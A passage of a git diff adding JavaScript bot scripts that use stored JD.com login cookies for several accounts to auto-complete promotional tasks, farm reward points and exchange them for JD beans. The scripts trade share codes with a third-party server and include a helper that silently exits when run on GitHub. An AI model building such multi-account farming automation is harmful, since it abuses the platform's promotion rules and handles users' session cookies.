{ + for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => ![19,25,15,21].includes(vo.taskType))) , [])) { + console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) + for (let i = vo.times; i < vo.maxTimes; i++) { + console.log(`去完成${vo.taskName}任务`) + if (vo.taskType === 13) { + await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 8) { + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 9) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 10) { + await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 26 || vo.taskType === 3) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 1) { + for (let key of Object.keys(vo.followShopVo)) { + let taskFollow = vo.followShopVo[key] + if (taskFollow.status !== 2) { + await doTask(taskFollow.taskToken, vo.taskId, 0) + break + } + } + } + await $.wait(2000) + } + } + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=health&sharecode=${$.code}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + console.log(data) + resolve() + } + }) + }) +} +async function getCommodities() { + return new Promise(async resolve => { + const options = taskUrl('jdhealth_getCommodities') + $.post(options, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + let beans = data.data.result.jBeans.filter(x => x.status !== 0 && x.status !== 1) + if (beans.length !== 0) { + for (let key of Object.keys(beans)) { + let vo = beans[key] + if (vo.title === reward && $.score >= vo.exchangePoints) { + await $.wait(1000) + await exchange(vo.type, vo.id) + } + } + } else { + console.log(`兑换京豆次数已达上限`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function exchange(commodityType, commodityId) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_exchange', {commodityType, commodityId}) + $.post(options, (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data.data.bizCode === 0 || data.data.bizMsg === "success") { + $.score = data.data.result.userScore + console.log(`兑换${data.data.result.jingBeanNum}京豆成功`) + message += `兑换${data.data.result.jingBeanNum}京豆成功\n` + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function collectScore() { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_collectProduceScore', {}), + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (oc(() => data.data.bizCode) === 0) { + if (oc(() => data.data.result.produceScore)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/health/${randomCount}`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} health/read API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + if (!ZLC) { + console.log(`您设置了不加入助力池,跳过\n`) + } else { + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDHEALTH_SHARECODES) { + if (process.env.JDHEALTH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDHEALTH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDHEALTH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_collect.js b/jd_health_collect.js new file mode 100644 index 0000000..89f3b87 --- /dev/null +++ b/jd_health_collect.js @@ -0,0 +1,137 @@ +// author: 疯疯 +/* +东东健康社区收集能量收集能量(不做任务,任务脚本请使用jd_health.js) +更新时间:2021-4-23 +活动入口:京东APP首页搜索 "玩一玩"即可 + +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区收集能量 +5-45/20 * * * * jd_health_collect.js, tag=东东健康社区收集能量, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5-45/20 * * * *" script-path=jd_health_collect.js, tag=东东健康社区收集能量 + +====================Surge================ +东东健康社区收集能量 = type=cron,cronexp="5-45/20 * * * *",wake-system=1,timeout=3600,script-path=jd_health_collect.js + +============小火箭========= +东东健康社区收集能量 = type=cron,script-path=jd_health_collect.js, cronexpr="5-45/20 * * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区收集能量收集"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await collectScore(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function collectScore() { + return new Promise((resolve) => { + $.get(taskUrl("jdhealth_collectProduceScore", {}), (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log( + `任务完成成功,获得:${ + data?.data?.result?.produceScore ?? "未知" + }能量` + ); + else + console.log( + `任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}` + ); + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`); + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=1.0.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : require("./USER_AGENTS").USER_AGENT + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_help.js b/jd_health_help.js new file mode 100644 index 0000000..e3a644f --- /dev/null +++ b/jd_health_help.js @@ -0,0 +1,247 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +5 4,14 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5 4,14 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="5 4,14 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js + +============小火箭========= +东东健康社区 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_health_help.js, cronexpr="5 4,14 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区内部互助"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : ''; +const randomCount = $.isNode() ? 20 : 5; 